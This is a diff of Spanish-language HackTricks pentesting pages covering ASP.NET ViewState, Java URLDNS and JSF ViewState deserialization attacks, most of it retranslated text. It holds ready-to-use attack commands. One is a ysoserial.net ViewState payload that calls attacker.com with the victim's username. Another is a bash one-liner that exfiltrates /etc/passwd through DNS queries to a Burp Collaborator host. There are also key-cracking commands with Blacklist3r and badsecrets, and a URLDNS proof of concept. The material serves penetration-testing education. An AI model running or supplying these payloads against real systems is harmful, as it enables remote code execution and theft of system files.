Como en el caso anterior, el **valor está encriptado.** Por lo tanto, para enviar un **payload válido, el atacante necesita la clave**.
|
||||
|
||||
Puedes intentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar la clave que se está utilizando:
|
||||
```
|
||||
|
|
@ -162,56 +161,48 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
|||
--IISDirPath = {Directory path of website in IIS}
|
||||
--TargetPagePath = {Target page path in application}
|
||||
```
|
||||
Para una descripción más detallada de IISDirPath y TargetPagePath [consulte aquí](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
|
||||
Para obtener una descripción más detallada de IISDirPath y TargetPagePath, consulta [aquí](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
O, con [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (con un valor de generador):
|
||||
```
|
||||
```bash
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
```
|
||||
```markdown
|
||||
|
||||
|
||||
|
||||
Una vez identificada una clave de máquina válida, **el siguiente paso es generar un payload serializado utilizando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
Una vez que se identifica una clave de Máquina válida, **el siguiente paso es generar un payload serializado usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
Si tienes el valor de `__VIEWSTATEGENERATOR`, puedes intentar **usar** el parámetro `--generator` con ese valor y **omitir** los parámetros `--path` y `--apppath`
|
||||
Si tienes el valor de `__VIEWSTATEGENERATOR`, puedes intentar **utilizar** el parámetro `--generator` con ese valor y **omitir** los parámetros `--path` y `--apppath`.
|
||||
|
||||
|
||||
|
||||
|
||||
Si la vulnerabilidad de deserialización de ViewState se explota con éxito, un servidor controlado por el atacante recibirá una solicitud fuera de banda que contiene el nombre de usuario. [Prueba de Concepto de Explotación Exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
Una explotación exitosa de la vulnerabilidad de deserialización de ViewState provocará una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en un concepto de prueba (PoC) que se puede encontrar a través de un recurso titulado "Explotando la deserialización de ViewState usando Blacklist3r y YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar el [PoC de Explotación Exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) proporcionado.
|
||||
|
||||
### Caso de Prueba 6 – Se está utilizando ViewStateUserKeys
|
||||
|
||||
La propiedad **ViewStateUserKey** se puede utilizar para **defenderse** contra un **ataque CSRF**. Si se ha definido tal clave en la aplicación y tratamos de generar el **ViewState** payload con los métodos discutidos hasta ahora, el **payload no será procesado por la aplicación**.\
|
||||
Necesitas usar un parámetro más para crear correctamente el payload:
|
||||
La propiedad **ViewStateUserKey** se puede utilizar para **defenderse** contra un **ataque CSRF**. Si se ha definido una clave de este tipo en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\
|
||||
Necesitas utilizar un parámetro más para crear correctamente la carga útil:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### Resultado de una Explotación Exitosa <a href="#poc" id="poc"></a>
|
||||
|
||||
Para todos los casos de prueba, si el payload de ViewState YSoSerial.Net funciona **exitosamente**, entonces el servidor responde con “**500 Internal server error**” teniendo contenido de respuesta “**La información de estado es inválida para esta página y podría estar corrupta**” y recibimos la solicitud OOB como se muestra en las Figuras a continuación:
|
||||
Para todos los casos de prueba, si el payload ViewState de YSoSerial.Net funciona **exitosamente**, entonces el servidor responde con un "**error interno del servidor 500**" teniendo como contenido de respuesta "**La información de estado no es válida para esta página y podría estar corrupta**" y obtenemos la solicitud OOB.
|
||||
|
||||
|
||||
|
||||
solicitud fuera de banda con el nombre de usuario actual
|
||||
|
||||
|
||||
Consulte [más información aquí]([**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/))
|
||||
|
||||
## Referencias
|
||||
|
||||
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -221,10 +212,10 @@ Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,18 +1,16 @@
|
|||
# Java DNS Deserialization, GadgetProbe y Java Deserialization Scanner
|
||||
|
||||
## Java DNS Deserialization, GadgetProbe y Java Deserialization Scanner
|
||||
# Java DNS Deserialization, GadgetProbe y Escáner de Deserialización Java
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -22,12 +20,10 @@ La clase `java.net.URL` implementa `Serializable`, esto significa que esta clase
|
|||
```java
|
||||
public final class URL implements java.io.Serializable {
|
||||
```
|
||||
```markdown
|
||||
Esta clase tiene un **comportamiento curioso.** Según la documentación: "**Dos hosts se consideran equivalentes si ambos nombres de host pueden resolverse en las mismas direcciones IP**".
|
||||
Entonces, cada vez que un objeto URL llama a **cualquiera** de las **funciones `equals`** o **`hashCode`**, se va a **enviar** una **solicitud DNS** para obtener la dirección IP.
|
||||
Esta clase tiene un **comportamiento curioso.** Según la documentación: "**Dos hosts se consideran equivalentes si ambos nombres de host se pueden resolver en las mismas direcciones IP**".\
|
||||
Entonces, cada vez que un objeto URL llama a **cualquiera** de las **funciones `equals`** o **`hashCode`** se va a **enviar** una solicitud **DNS** para obtener la dirección IP.
|
||||
|
||||
**Llamar** a la función **`hashCode`** **desde** un objeto **URL** es bastante fácil, basta con insertar este objeto en un `HashMap` que va a ser deserializado. Esto se debe a que **al final** de la función **`readObject`** de `HashMap` se ejecuta este código:
|
||||
```
|
||||
**Llamar** a la función **`hashCode`** **desde** un objeto **URL** es bastante fácil, es suficiente con insertar este objeto dentro de un `HashMap` que va a ser deserializado. Esto se debe a que **al final** de la función **`readObject`** de `HashMap` se ejecuta este código:
|
||||
```java
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws IOException, ClassNotFoundException {
|
||||
|
|
@ -37,16 +33,16 @@ for (int i = 0; i < mappings; i++) {
|
|||
putVal(hash(key), key, value, false, false);
|
||||
}
|
||||
```
|
||||
Es **going** a **execute** `putVal` con cada valor dentro del `HashMap`. Pero, más relevante es la llamada a `hash` con cada valor. Este es el código de la función `hash`:
|
||||
Se **ejecutará** el `putVal` con cada valor dentro del `HashMap`. Pero, más relevante es la llamada a `hash` con cada valor. Este es el código de la función `hash`:
|
||||
```java
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
Como puedes observar, **al deserializar** un **`HashMap`** la función `hash` se va a **ejecutar con cada objeto** y **durante** la ejecución del **`hash`** **se va a ejecutar `.hashCode()` del objeto**. Por lo tanto, si **deserializas** un **`HashMap`** **que contiene** un objeto **URL**, el objeto **URL** ejecutará `.hashCode()`.
|
||||
Como puedes observar, **al deserializar** un **`HashMap`** la función `hash` se va a **ejecutar con cada objeto** y **durante** la ejecución de **`hash`** se va a ejecutar `.hashCode()` del objeto. Por lo tanto, si **deserializas** un **`HashMap`** que **contiene** un objeto **URL**, el objeto **URL** va a **ejecutar** `.hashCode()`.
|
||||
|
||||
Ahora, echemos un vistazo al código de `URLObject.hashCode()` :
|
||||
Ahora, echemos un vistazo al código de `URLObject.hashCode()`:
|
||||
```java
|
||||
public synchronized int hashCode() {
|
||||
if (hashCode != -1)
|
||||
|
|
@ -55,7 +51,7 @@ return hashCode;
|
|||
hashCode = handler.hashCode(this);
|
||||
return hashCode;
|
||||
```
|
||||
Como puedes ver, cuando un `URLObject` ejecuta `.hashCode()`, se llama a `hashCode(this)`. A continuación puedes ver el código de esta función:
|
||||
Como puedes ver, cuando un `URLObject` ejecuta `.hashCode()` se llama `hashCode(this)`. A continuación puedes ver el código de esta función:
|
||||
```java
|
||||
protected int hashCode(URL u) {
|
||||
int h = 0;
|
||||
|
|
@ -69,13 +65,13 @@ h += protocol.hashCode();
|
|||
InetAddress addr = getHostAddress(u);
|
||||
[ ... ]
|
||||
```
|
||||
Puede ver que se ejecuta un `getHostAddress` al dominio, **lanzando una consulta DNS**.
|
||||
Puedes ver que se ejecuta un `getHostAddress` al dominio, **lanzando una consulta DNS**.
|
||||
|
||||
Por lo tanto, esta clase puede ser **abusada** para **lanzar** una **consulta DNS** para **demostrar** que la **deserialización** es posible, o incluso para **exfiltrar información** (puede agregar como subdominio el resultado de la ejecución de un comando).
|
||||
Por lo tanto, esta clase puede ser **abusada** para **lanzar** una **consulta DNS** y **demostrar** que la **deserialización** es posible, o incluso para **exfiltrar información** (puedes agregar como subdominio la salida de una ejecución de comando).
|
||||
|
||||
### Ejemplo de código de carga útil URLDNS
|
||||
|
||||
Puede encontrar el [código de carga útil URDNS de ysoserial aquí](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Sin embargo, solo para facilitar la comprensión de cómo codificarlo, creé mi propio PoC (basado en el de ysoserial):
|
||||
Puedes encontrar el [código de carga útil URLDNS de ysoserial aquí](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Sin embargo, solo para facilitar la comprensión de cómo codificarlo, he creado mi propio PoC (basado en el de ysoserial):
|
||||
```java
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
|
|
@ -141,58 +137,58 @@ return null;
|
|||
### Más información
|
||||
|
||||
* [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
||||
* En la idea original, el payload de commons collections fue modificado para realizar una consulta DNS, esto era menos fiable que el método propuesto, pero este es el post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
* En la idea original, la carga útil de commons collections se cambió para realizar una consulta DNS, esto era menos confiable que el método propuesto, pero este es el post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
|
||||
## GadgetProbe
|
||||
|
||||
Puedes descargar [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) desde la tienda de aplicaciones de Burp Suite (Extender).
|
||||
|
||||
**GadgetProbe** intentará determinar si algunas **clases Java existen** en la clase Java del servidor para que puedas saber **si** es **vulnerable** a algún exploit conocido.
|
||||
**GadgetProbe** intentará determinar si algunas **clases de Java existen** en la clase de Java del servidor para que puedas saber **si** es **vulnerable** a algún exploit conocido.
|
||||
|
||||
### Cómo funciona
|
||||
### ¿Cómo funciona?
|
||||
|
||||
**GadgetProbe** usará el mismo **payload DNS de la sección anterior** pero **antes** de ejecutar la consulta DNS, **intentará deserializar una clase arbitraria**. Si la **clase arbitraria existe**, la **consulta DNS** será **enviada** y GadgetProbe notará que esta clase existe. Si la **solicitud DNS** nunca se **envía**, esto significa que la **clase arbitraria no fue deserializada** con éxito, por lo que no está presente o **no es serializable/explotable**.
|
||||
**GadgetProbe** utilizará la misma **carga útil DNS de la sección anterior** pero **antes** de ejecutar la consulta DNS intentará **deserializar una clase arbitraria**. Si la **clase arbitraria existe**, la **consulta DNS** será **enviada** y GadgetProbe notará que esta clase existe. Si la solicitud de **DNS** nunca se envía, esto significa que la **clase arbitraria no fue deserializada** con éxito, por lo que no está presente o no es **serializable/exploitable**.
|
||||
|
||||
Dentro de github, [**GadgetProbe tiene algunas listas de palabras**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) con clases Java para ser probadas.
|
||||
Dentro de GitHub, [**GadgetProbe tiene algunas listas de palabras**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) con clases de Java para ser probadas.
|
||||
|
||||
 (1) (1).gif>)
|
||||
 (1) (1).gif>)
|
||||
|
||||
### Más información
|
||||
|
||||
* [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
|
||||
|
||||
## Escáner de Deserialización Java
|
||||
## Escáner de Deserialización de Java
|
||||
|
||||
Este escáner puede ser **descargado** de la tienda de aplicaciones de Burp (**Extender**).\
|
||||
Este escáner se puede **descargar** desde la tienda de aplicaciones de Burp (**Extender**).\
|
||||
La **extensión** tiene **capacidades** pasivas y activas.
|
||||
|
||||
### Pasivo
|
||||
|
||||
Por defecto, **verifica de manera pasiva** todas las solicitudes y respuestas enviadas **buscando** **bytes mágicos de serialización Java** y presentará una advertencia de vulnerabilidad si se encuentra alguno:
|
||||
Por defecto, **verifica pasivamente** todas las solicitudes y respuestas enviadas **buscando** los **bytes mágicos serializados de Java** y presentará una advertencia de vulnerabilidad si se encuentra alguno:
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### Activo
|
||||
|
||||
**Pruebas manuales**
|
||||
|
||||
Puedes seleccionar una solicitud, hacer clic derecho y `Enviar solicitud a DS - Pruebas manuales`.\
|
||||
Luego, dentro de la pestaña _Escáner de Deserialización_ --> pestaña _Pruebas manuales_ puedes seleccionar el **punto de inserción**. Y **lanzar las pruebas** (Selecciona el ataque apropiado dependiendo de la codificación utilizada).
|
||||
Luego, dentro de la _Pestaña de Escáner de Deserialización_ --> _Pestaña de pruebas manuales_ puedes seleccionar el **punto de inserción**. Y **lanzar la prueba** (Selecciona el ataque apropiado dependiendo del codificado utilizado).
|
||||
|
||||
|
||||
|
||||
|
||||
Aunque esto se llama "Pruebas manuales", es bastante **automatizado**. Comprobará automáticamente si la **deserialización** es **vulnerable** a **cualquier payload ysoserial** verificando las bibliotecas presentes en el servidor web y resaltará las que sean vulnerables. Para **verificar** las **bibliotecas vulnerables** puedes seleccionar lanzar **Javas Sleeps**, **sleeps** a través del **consumo de CPU**, o usando **DNS** como se ha mencionado anteriormente.
|
||||
Aunque esto se llama "Pruebas manuales", es bastante **automatizado**. Comprobará automáticamente si la **deserialización** es **vulnerable** a **cualquier carga útil ysoserial** verificando las bibliotecas presentes en el servidor web y resaltará las vulnerables. Para **verificar** las **bibliotecas vulnerables** puedes seleccionar lanzar **Javas Sleeps**, **sleeps** a través del **consumo de CPU**, o usando **DNS** como se mencionó anteriormente.
|
||||
|
||||
**Explotación**
|
||||
|
||||
Una vez que hayas identificado una biblioteca vulnerable, puedes enviar la solicitud a la pestaña _Explotación_.\
|
||||
En esta pestaña tienes que **seleccionar** el **punto de inyección** de nuevo, y **escribir** la **biblioteca vulnerable** para la que quieres crear un payload, y el **comando**. Luego, solo presiona el botón de **Ataque** apropiado.
|
||||
Una vez que hayas identificado una biblioteca vulnerable, puedes enviar la solicitud a la _Pestaña de Explotación_.\
|
||||
En esta pestaña debes **seleccionar** nuevamente el **punto de inyección**, escribir la **biblioteca vulnerable** para la cual deseas crear una carga útil, y el **comando**. Luego, simplemente presiona el botón de **Ataque** apropiado.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### Información de Exfiltración DNS de Deserialización Java
|
||||
### Información de Exfiltración DNS de Deserialización de Java
|
||||
|
||||
Haz que tu payload ejecute algo como lo siguiente:
|
||||
Haz que tu carga útil ejecute algo como lo siguiente:
|
||||
```bash
|
||||
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
|
||||
```
|
||||
|
|
@ -202,14 +198,14 @@ Haz que tu payload ejecute algo como lo siguiente:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,179 +1,18 @@
|
|||
# Introducción
|
||||
|
||||
Después de analizar las RCEs a través de bibliotecas JSON mal configuradas, comenzamos a analizar los ViewStates de las implementaciones JSF. JavaServer Faces (JSF) es una tecnología de interfaz de usuario (UI) para construir UI web con componentes reutilizables. JSF se utiliza principalmente para aplicaciones empresariales y una implementación de JSF se utiliza típicamente por una aplicación web que se ejecuta en un servidor de aplicaciones Java como JBoss EAP o WebLogic Server. Hay dos implementaciones bien conocidas de la especificación JSF:
|
||||
|
||||
* Oracle Mojarra (implementación de referencia de JSF)
|
||||
* Apache MyFaces
|
||||
|
||||
# Alcance
|
||||
|
||||
Esta publicación de blog se centra en las dos implementaciones JSF 2.x: Oracle Mojarra (Implementación de referencia) y Apache MyFaces. Las implementaciones antiguas (JSF 1.x) también son susceptibles de verse afectadas por las vulnerabilidades descritas en esta publicación. (JSF 2.0.x se lanzó inicialmente en 2009, la versión actual es 2.3.x).
|
||||
|
||||
# El estado del ViewState
|
||||
|
||||
Una diferencia entre JSF y tecnologías web similares es que JSF utiliza ViewStates (además de sesiones) para almacenar el estado actual de la vista (por ejemplo, qué partes de la vista deben mostrarse actualmente). El ViewState puede almacenarse en el `servidor` o en el `cliente`. Los ViewStates de JSF suelen incrustarse automáticamente en los formularios HTML como campo oculto con el nombre `javax.faces.ViewState`. Se envían de vuelta al servidor si se envía el formulario.
|
||||
|
||||
## ViewState en el servidor
|
||||
|
||||
Si el ViewState de JSF está configurado para estar en el `servidor`, el campo oculto `javax.faces.ViewState` contiene un ID que ayuda al servidor a recuperar el estado correcto. En el caso de MyFaces, ¡ese ID es un **objeto Java serializado**!
|
||||
|
||||
## ViewState en el cliente
|
||||
|
||||
Si el ViewState de JSF está configurado para estar en el `cliente`, el campo oculto `javax.faces.ViewState` contiene un **objeto Java serializado** que está al menos codificado en Base64. Es posible que se haya dado cuenta hasta ahora de que esto es un camino potencial hacia el desastre. Esa podría ser una de las razones por las que hoy en día los ViewStates de JSF están cifrados y firmados antes de ser enviados al cliente.
|
||||
|
||||
# Los peligros de los objetos Java serializados
|
||||
|
||||
En 2015, en la conferencia AppSec California, Gabriel Lawrence y Chris Frohoff presentaron [Marshalling Pickles (how deserializing objects can ruin your day)](https://frohoff.github.io/appseccali-marshalling-pickles/). Esta presentación arrojó algo de luz sobre los problemas olvidados con la serialización de objetos Java y llevó al descubrimiento de varias vulnerabilidades graves de ejecución remota de código (RCE).
|
||||
|
||||
Desafortunadamente, llevó a algunas personas a creer que la vulnerabilidad podría mitigarse eliminando/actualizando ciertas versiones de Apache Commons Collections. Una acción que puede ayudar, pero no resuelve la causa raíz del problema: Deserialización de datos no confiables ([CWE 502](https://cwe.mitre.org/data/definitions/502.html)). En otras palabras:\
|
||||
**El uso de una versión de Apache Commons Collections 'vulnerable' no significa que la aplicación sea vulnerable, ni la ausencia de tal versión de la biblioteca significa que la aplicación no sea vulnerable.**
|
||||
|
||||
Sin embargo, después de que un hacker malintencionado [apagó y cifró los sistemas de la Agencia Municipal de Transporte de San Francisco](https://krebsonsecurity.com/2016/11/san-francisco-rail-system-hacker-hacked/) a través de una "Vulnerabilidad de deserialización de Apache Commons Collections/Mad Gadget", Google inició [Operation Rosehub](https://opensource.googleblog.com/2017/03/operation-rosehub.html). El objetivo de la operación Rosehub era encontrar tantos proyectos de código abierto de Java como fuera posible que utilizaran una versión de colecciones comunes de Apache 'amigable para el atacante' como dependencia y enviar solicitudes de extracción a los propietarios del proyecto para que esos proyectos dejaran de usar versiones problemáticas de colecciones comunes en versiones más nuevas.
|
||||
|
||||
# El ataque al ViewState
|
||||
|
||||
Supongamos que tenemos una aplicación web con una página de inicio de sesión basada en JSF:
|
||||
|
||||
|
||||
|
||||
Esa página de inicio de sesión tiene un ViewState que no está cifrado ni firmado. Así que cuando miramos su fuente HTML, vemos un campo oculto que contiene el ViewState: ViewState de MyFaces sin cifrar:
|
||||
```
|
||||
<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />
|
||||
```
|
||||
Si decodificas el ViewState anterior usando Base64, notarás que contiene un objeto Java serializado. Este ViewState se envía de vuelta al servidor a través de POST cuando se envía el formulario (por ejemplo, al hacer clic en Iniciar sesión). Ahora, antes de que el ViewState se envíe de vuelta al servidor, el atacante reemplaza el ViewState con su propio ViewState malicioso utilizando un gadget que ya está en el classpath del servidor (por ejemplo, `InvokerTransformer` de commons-collections-3.2.1.jar) o incluso un gadget que aún no es conocido por el público. Con dicho gadget malicioso colocado en el ViewState, el atacante especifica qué comandos quiere ejecutar en el servidor. La flexibilidad de lo que un atacante puede hacer está limitada por los poderes de los gadgets disponibles en el classpath del servidor. En el caso de `InvokerTransformer`, el atacante puede especificar qué comandos de línea de comandos deben ejecutarse en el servidor. El atacante en nuestro ejemplo eligió iniciar una calculadora en la interfaz de usuario de nuestro servidor basado en Linux.
|
||||
|
||||
Después de que el atacante haya enviado su formulario modificado de vuelta al servidor, la implementación de JSF intenta deserializar el ViewState proporcionado. Ahora, incluso antes de que la deserialización del ViewState haya terminado, se ejecuta el comando y se inicia la calculadora en el servidor:
|
||||
|
||||
|
||||
|
||||
